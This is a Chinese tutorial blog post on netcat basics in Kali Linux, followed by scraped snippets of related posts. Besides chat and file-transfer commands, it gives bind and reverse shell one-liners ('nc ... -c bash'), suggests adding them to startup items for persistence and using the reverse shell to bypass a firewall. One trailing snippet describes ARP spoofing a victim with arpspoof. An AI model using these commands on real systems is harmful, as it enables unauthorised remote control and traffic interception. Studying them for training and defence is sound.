kail linux 下nc工具的基本使用(安全牛视频)

一、简介
nc是netcat的简写,有着网络界的瑞士×××美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具。
nc 常用的命令有两个:
1、-v 输出详细的交互或者出错信息
2、-n 如果后面是ip地址不会进行dns解析
eg:nc -vn 192.168.11.11 8888
二、利用nc文本传输:
类似于socket一个作为服务端,一个作为客户端。
服务端命令:nc -l -p 端口
客户端命令: nc -vn ip port
拓展:
在电子取证的时候会用到。用 | 管道符将客户端输出的结果发送到服务端。
传输文件:
接收方命令: nc -lp 333>1.txt
发送方命令:nc -nv 111.11.11.11 333 <2 .txt
三、利用nc实现远程控制
将自己的shell脚本放在自己的端口处等待连接或者接受对方传送过来的shell窗口来实现远程控制。
方法一; nc -lp 333 -c bash(nc -vn 192.168.22.22 333)(等待对方来连接)
方法二:nc -lp 333 (nc -vn -192.145.11.1 333 -c bash)(接受对方的shell窗口)
×××思路:
可以将该命令写成脚本,然后放在服务器的开机启动项里面。
因为网站防火墙的存在,进制在外面通过端口想里面发送东西,故可以尝试第二中方法。
tips:
在window用户中应将bash 改为cmd
四、nc工具拓展
通过管道符号结合nc命令会产生意想不到的效果
比如利用nc命令结合压缩命令可以发送整个压缩包。
五、缺陷
1、明文传输,容易被嗅探(可以通过系统加密方法)
2、缺乏身份验证机制,不安全,容易被其他人盗用。
3、不同版本的nc是不同的、参数也有可能不同。unbutn版本的nc没有-c
六、拓展
1、为了解决上面的问题,便出现了ncat工具,该工具是nmap工具集中的一个工具。
2、命令:服务器端:ncat -c bash --allow “you ip” - vnl 333 --ssl

客户端: ncat -vn “ip” “端口 ” --ssl

每次连接的哈希值是会改变的,ncat可以实现的功能都可以通过nc实现。

原文地址:http://blog.51cto.com/12263326/2169228

时间: 2024-11-10 13:20:18

kail linux 下nc工具的基本使用(安全牛视频)的相关文章

【分享】linux下nc的使用

今天在饮水思源上闲逛,看到了一个贴子关于Linux下nc命来实现文件传输,进行学习了解了一下.发送端:cat test.txt | nc -l -p 6666或者nc -l  -p 6666 < test.txt                    有些版本不要在 -p[监听6666端口,等待连接](设发送端IP为10.20.133.152)接收端:nc 10.20.133.152 6666 > test1.txt如上面的操作,即可将文件test.txt从发送端传送到接收端,保存为test1

二十八、Linux下Vim工具常用命令

在linux下做开发,甚至是只做管理维护工作,也少不了Vim的使用.作为一个新手,我也是刚刚接触,本节将我日常使用或收集的Vim常用命令记录下来. 当然,直接在命令行上输入:vimtutor,就可以学习到Vim的所有命令了.Vim很强大,很多牛人在vim里集成很多插件什么的,但这里只介绍基本vim命令 移动命令 h "左 j "下 k "上 l "右 w "光标移动到下一个单词的首字符 a word forward b "光标移动到上一个单词的首

Linux下同步工具inotify+rsync使用详解

Linux下同步工具inotify+rsync使用详解 Posted on 2014-12-12 |  In Linux|  9|  Visitors 438 1. rsync 1.1 什么是rsync rsync是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件.它使用所谓的"Rsync演算法"来使本地和远程两个主机之间的文件达到同步,这个算法只传送两个文件的不同部分,而不是每次都整份传送,因此速度相当快.所以通常可以作为备份工具来使用. 运行Rsync serve

linux下rsync工具使用与配置

这篇文章基本介绍全了:http://www.2cto.com/os/201308/238733.html 几点简单备忘: 1. ubuntu下通过apt-get即可安装: 2. 配置文件/etc/rsync.conf默认不存在,需要手动创建: 3. 可以通过守护进程xinetd来启动rsync,在/etc/default/rsync中配置: 4. 服务器在/etc/rsync.passwd中配置登录名和密码,不一定非得这个文件,可以在/etc/rsync.conf中配置每一个共享模块的密码文件:

kail linux 下的arpspoof 进行arp欺骗

kail:172.16.1.254 被攻击者:172.16.1.103 网关:172.16.1.1 kail linux  打开两个终端, 1.arpspoof -i wlan0 -t 172.16.1.103 172.16.1.1 将 172.16.1.103 发给网关172.16.1.1的数据先发送到本机,再由本机进行转发,前提是本机已经开启路由. 2.arpspoof -i wlan0 -t 172.16.1.1 172.16.1.103 将 网关172.16.1.1 发往172.16.1

linux如何ARP嗅探 Linux下嗅探工具Dsniff安装记录

先来下载依赖包 和一些必须要用到的工具 我这里用的是 dsniff-2.3 的版本 wget http://www.monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz wget http://www.8090sec.com/uploads/soft/dsniff-2.3.tar.gz 备用下载 一.安装gcc # yum -y install gcc 二.安装 openssl 直接yum安装也可以的 # tar zxvf openssl-0.9.7i.tar

linux下rsync工具的使用

上节我们详细了解了磁盘的结构和磁盘的管理,我们知道Linux磁盘的管理是通过fdisk命令加参数来实现的,然后格式化是mkfs.ext4命令.最后在通过mount命令挂载到相应的目录下就可以使用了.今天我们讲解一个比较常用的工具-rsync.记得是比较常用!下面我为他做个简单的介绍: rsync是一个备份工具可以实现增量与全量备份 rsync 有三种工作模式 第一种是本地的CP 使用方法: cp功能: rsync -avzfenfawenjian fenfawenjian2 第二种是局域网之间的

Linux下nc的参数详解

想必接触linux下服务器编程的人一定用过一个一个功能强大且有着瑞士军刀美誉的短小精悍的命令nc吧.我们既可以用nc构建出服务器也可以用作客户端,而且我们可以通过它的各种参数来精准的控制一些传输与连接的细节,从而使它变得异常强大. nc命令的参数 参数 作用 -i 设置数据报传送时间间隔 -l 以服务器方式运行 -k 重复接收并处理某个端口上的所有连接,必须与-l选项一起使用 -n 使用ip地址表示主机,而不是主机名:使用数字表示端口,而不是服务名称 -p 当nc命令以客户端运行时,强制其使用端

Linux下应急工具

Linux下的应急工具 在Linux下,应急的查看点无非那个几个,一是看表现(宕机.高CPU.高内存.高IO.高网络通信),二看连接.三看进程.四看日志.五看文件(Linux一切皆文件),再者结合起来看.所以针对常见的应急操作自己写了两个小工具.目前支持CentOS和RedHat,其实由于基于Python,基本是跨平台,绝大部分功能支持其他发行版本的Linux甚至Windows. 工具的安装 #要求root权限 git clone https://github.com/cisp/LinuxEme